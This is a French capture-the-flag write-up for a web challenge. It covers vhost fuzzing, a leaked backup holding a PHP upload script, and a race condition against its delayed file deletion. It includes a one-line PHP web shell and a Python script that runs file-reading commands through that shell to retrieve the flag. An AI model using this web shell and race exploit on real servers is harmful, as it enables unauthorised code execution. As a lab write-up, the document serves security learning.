TV23 - MidnightFlag

Énoncé

TV23 - 500 points

Auteur: SpawnZii

Solution

Note: J'ai rejoué ce chall en local après le CTF pour écrire le Write Up Merci à Spawnzii pour les sources !

En arrivant sur le challenge, on ne voit qu'une page de configuration par défaut apache. On check évidemment les fichiers classiques, robots.txt, sitemap.xml, .git, .svn. Rien, on peut alors regarder le code source de la page.

Et l'on aperçoit 2 commentaires:

<!--     spyproof.ru<div class="table_of_contents floating_element">
        <div class="section_header section_header_grey">
          TABLE OF CONTENTS
        </div>
        <div class="table_of_contents_item floating_element">
          <a href="#about">About</a>
        </div>
        <div class="table_of_contents_item floating_element">
          <a href="#changes">Changes</a>
        </div>
        <div class="table_of_contents_item floating_element">
          <a href="#scope">Scope</a>
        </div>
        <div class="table_of_contents_item floating_element">
          <a href="#files">Config files</a>
        </div>
      </div>
-->

<!-- don't forget to delete this comment russy23.ru -->

On obtient alors 2 noms de domaine ! On les ajoute à notre fichier /etc/hosts

127.0.0.1 russy23.ru spyproof.ru

Et l'on peut donc checker ces url.
spyproof.ru ne nous donne rien de très probant.
En revanche, http://russy23.ru nous offre une magnifique page russy23

On peut voir un bouton upload qui pourrait servir pour uploader un webshell par exemple ! Il redirige vers l'url http://russy23.ru/s3cr3te_Uplo4d.php

uploadform

En uploadant un fichier vide on remarque cette erreur:

Warning: Undefined array key 1 in /var/www/russy23.ru/s3cr3te_Uplo4d.php on line 17

Warning: Undefined array key 1 in /var/www/russy23.ru/s3cr3te_Uplo4d.php on line 19

Warning: unlink(images/594d351db6352a598e351a3394dd59d1.): No such file or directory in /var/www/russy23.ru/s3cr3te_Uplo4d.php on line 19

On déduit donc plusieurs choses:

  • Le fichier est hashé
  • L'extension semble en dehors du hashage (erreur undefined key, on devine que le programme fait un split sur le '.'
  • Le fichier est temporairement placé dans /var/www/russy23.ru/images et est donc accessible puis est supprimé, on pense donc à une race condition

Mais impossible de retrouver une préimage de ce hash.Il y a donc probablement un sel, peut être random.
Il nous faut donc la source de ce fichier php. J'ai donc fuzz les dossiers et fichiers pour trouver des backups, ou un .git par exemple, rien.

J'ai alors fuzz les vhost, à l'aide de l'outil wfuzz:

$ wfuzz -c -Z -w /usr/share/seclists/Discovery/Web-Content/common.txt --sc 200,202,204,301,302,307,403 -H "Host: FUZZ.russy23.ru" -u "http://russy23.ru" --hl 370

On obtient un résultat:

000000790:   200        15 L     50 W       769 Ch      "backup" 

On ajoute donc le hostname ``backup.russy23.ru``` à notre /etc/hosts, et on se dirige vers ce site web. Il contient le backup de /var/www du serveur. On va donc pouvoir le dézipper et lire le code de notre fichier d'upload.

<?php                                                                                                                                                                                         
   if(isset($_FILES['image'])){
      $errors= array();
      $file_name = $_FILES['image']['name'];
      $file_size = $_FILES['image']['size'];
      $file_tmp = $_FILES['image']['tmp_name'];
      $file_type = $_FILES['image']['type'];
      $file_ext=strtolower(end(explode('.',$_FILES['image']['name'])));
      
      
      if($file_size > 2097152) {
         $errors ='File size must be excately 2 MB';
      }
      
      if(empty($errors)==true) {
         $file_name = explode(".",$file_name);
         $finalname = md5("5up3r53cur354l73".$file_name[0]);
         move_uploaded_file($file_tmp,"images/".$finalname.".".$file_ext);
         usleep(5000);
         unlink("images/".$finalname.".".$file_ext);
         $success = "Your picture will be sent !";
   }
}
?>

On peut voir que le hash est bien salé avec le sel "5up3r53cur354l73". On voit également un usleep(5000), si l'on se réfère au manuel php, le script attend 5000 microsecondes avant de supprimer le fichier temporaire. Ce qui est suffisant pour l'utiliser à l'aide d'une race condition.

Le temps imparti en CTF étant assez court, j'ai écrit un (médiocre) script pour exploiter cette race condition.
Le principe est simple, on requête la même page constamment jusqu'à ce qu'on aie une réponse. Pendant ce temps là, j'uploadais un fichier shell.php à la main. Je n'ai pas réussi à obtenir un reverse shell. J'ai alors essayé de lire le flag directement.

Le fichier shell.php:

<?php
system($_GET["cmd"]);
?>

Le script python pour exploiter la race condition et directement lire le flag:

import requests
from hashlib import md5

filename = md5(b"5up3r53cur354l73" + b"shell").hexdigest()

url = "http://russy23.ru/images/" + filename + ".php"

while True:
    r = requests.get(url + "?cmd=find / -name flag.txt | xargs cat")
    if r.status_code == 200: # Si on a réussi à exploiter la race condition
        print("Got flag !")
        print(r.text)
        break

On peut donc lancer ce script dans un terminal. Et l'on obtient le flag !

$ python race.py
Got flag !
MCTF{1cf35bf5d570cabbe4a7a222b1ad93937abf80b879132a30665479bc5c21ca92}

Merci à SpawnZii pour ce challenge très intéressant !

Show Comments